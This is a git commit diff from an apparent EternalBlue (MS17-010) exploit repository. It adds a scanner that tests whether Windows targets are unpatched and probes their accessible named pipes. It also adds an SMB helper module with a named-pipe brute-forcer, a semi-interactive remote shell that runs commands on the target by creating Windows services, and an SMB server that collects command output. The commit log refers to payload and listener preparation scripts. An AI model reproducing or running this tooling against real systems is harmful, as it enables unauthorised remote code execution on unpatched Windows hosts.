* Create LICENSE

* added initial exploit code

* Update README.md

* Update README.md

* added link to tutorial video

* Minor change for consistency w/ common tools (#1)

* Update listener_prep.sh

* Update shell_prep.sh

* Updated README to match recent consistency changes

* Update README.md

* add in groom connection arg to README for clarity and added TODO

* added option to select staged or stageless payload in shell_prep.sh (#8)

* added fixes to mysmb.py as reccommended by issue #4 (#9)

* Update README.md

* eternal blue exploit for windows 10, same code as 8 just with notes for my personal organizaton

* eternal blue exploit for windows 10, same code as 8 just with notes for my personal organizaton

* listener_prep.sh modified for stageless/staged payloads

* Update README.md

* Update README.md

* Update README.md

* Update README.md

* Update README.md

* added improved zzz_exploit.py and mysmb with more named pipes

* changed checker to use mysmb function

* Delete mysmb.pyc
This commit is contained in:
deus-ex-silicium
2019-09-08 13:20:26 -04:00
committed by Casey Erdmann
parent 9c836683ec
commit 6f0b6db091
4 changed files with 1333 additions and 92 deletions
+89
View File
@@ -0,0 +1,89 @@
from mysmb import MYSMB
from impacket import smb, smbconnection, nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from struct import pack
import sys
import argparse
'''
Script for
- check target if MS17-010 is patched or not.
- find accessible named pipe
'''
def check_ms17_010(conn):
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
status = recvPkt.getNTStatus()
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
print('[!] The target is not patched')
else:
print('[-] The target is patched')
sys.exit()
def check_accessible_pipes(conn):
print('=== Testing named pipes ===')
conn.find_named_pipe(firstOnly=False)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store',
help='[[domain/]username[:password]@]<targetName or address>')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.target_ip is None:
options.target_ip = remoteName
conn = MYSMB(options.target_ip, int(options.port))
try:
conn.login(username, password)
except smb.SessionError as e:
print('[-] Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
sys.exit()
finally:
print('[*] Target OS: ' + conn.get_server_os())
tid = conn.tree_connect_andx('\\\\'+options.target_ip+'\\'+'IPC$')
conn.set_default_tid(tid)
check_ms17_010(conn)
check_accessible_pipes(conn)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
print('[*] Done')
main()
-87
View File
@@ -1,87 +0,0 @@
from mysmb import MYSMB
from impacket import smb, smbconnection, nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from struct import pack
import sys
'''
Script for
- check target if MS17-010 is patched or not.
- find accessible named pipe
'''
USERNAME = ''
PASSWORD = ''
NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
MSRPC_UUID_BROWSER = uuidtup_to_bin(('6BFFD098-A112-3610-9833-012892020162','0.0'))
MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB','1.0'))
MSRPC_UUID_NETLOGON = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB','1.0'))
MSRPC_UUID_LSARPC = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC','1.0'))
pipes = {
'browser' : MSRPC_UUID_BROWSER,
'spoolss' : MSRPC_UUID_SPOOLSS,
'netlogon' : MSRPC_UUID_NETLOGON,
'lsarpc' : MSRPC_UUID_LSARPC,
'samr' : MSRPC_UUID_SAMR,
}
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
conn = MYSMB(target)
try:
conn.login(USERNAME, PASSWORD)
except smb.SessionError as e:
print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
sys.exit()
finally:
print('Target OS: ' + conn.get_server_os())
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
# test if target is vulnerable
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
status = recvPkt.getNTStatus()
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
print('The target is not patched')
else:
print('The target is patched')
sys.exit()
print('')
print('=== Testing named pipes ===')
for pipe_name, pipe_uuid in pipes.items():
try:
dce = conn.get_dce_rpc(pipe_name)
dce.connect()
try:
dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
print('{}: Ok (64 bit)'.format(pipe_name))
except DCERPCException as e:
if 'transfer_syntaxes_not_supported' in str(e):
print('{}: Ok (32 bit)'.format(pipe_name))
else:
print('{}: Ok ({})'.format(pipe_name, str(e)))
dce.disconnect()
except smb.SessionError as e:
print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
except smbconnection.SessionError as e:
print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
+207 -5
View File
@@ -1,10 +1,14 @@
# impacket SMB extension for MS17-010 exploit.
# this file contains only valid SMB packet format operation.
from impacket import smb, smbconnection
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import transport, scmr
from struct import pack
from threading import Thread
import os
import cmd
import string
import random
import logging
def getNTStatus(self):
@@ -117,6 +121,33 @@ class MYSMB(smb.SMB):
self._smbConn = None
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
def find_named_pipe(self, firstOnly=True):
pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
try:
with open(pipes_file) as f:
pipes = [ x.strip() for x in f.readlines()]
except IOError as e:
print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
found_pipes = []
for pipe in pipes:
try:
fid = self.nt_create_andx(tid, pipe)
self.close(tid, fid)
found_pipes.append(pipe)
print("[+] Found pipe '{}'".format(pipe))
if firstOnly:
break
except smb.SessionError as e:
pass
self.disconnect_tree(tid)
if len(found_pipes) > 0:
return found_pipes[0]
else:
return None
def set_pid(self, pid):
self._pid = pid
@@ -304,10 +335,6 @@ class MYSMB(smb.SMB):
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
@@ -379,3 +406,178 @@ class MYSMB(smb.SMB):
#print(len(data))
return data
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)])
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)]))
self.__outputBuffer = b''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
self.__scmr = rpc.get_dce_rpc('svcctl')
try:
self.__scmr.connect()
except Exception as e:
logging.critical(str(e))
sys.exit(1)
s = rpc.get_smbconnection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smbconnection()
self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except scmr.DCERPCException:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or maintain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>'
self.__outputBuffer = b''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, self.__outputFilename, output_callback)
self.transferClient.deleteFile(self.__share, self.__outputFilename)
else:
fd = open(SMBSERVER_DIR + '/' + self.__outputFilename,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + self.__outputFilename)
def execute_remote(self, data):
to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format(self.__shell, data, self.__output, self.__batchFile)
command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile)
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
command = '{} & del {}'.format(command, self.__batchFile )
logging.debug('Executing %s' % command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
#print(self.__outputBuffer)
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer.decode())
self.__outputBuffer = b''
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
def cleanup_server(self):
logging.info('Cleaning up..')
try:
os.unlink(SMBSERVER_DIR + '/smb.log')
except:
pass
os.rmdir(SMBSERVER_DIR)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section(DUMMY_SHARE)
smbConfig.set(DUMMY_SHARE,'comment','')
smbConfig.set(DUMMY_SHARE,'read only','no')
smbConfig.set(DUMMY_SHARE,'share type','0')
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
logging.info('Creating tmp directory')
try:
os.mkdir(SMBSERVER_DIR)
except Exception, e:
logging.critical(str(e))
pass
logging.info('Setting up SMB Server')
self.smb.processConfigFile()
logging.info('Ready to listen...')
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.cleanup_server()
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
Executable
+1037
View File
File diff suppressed because it is too large Load Diff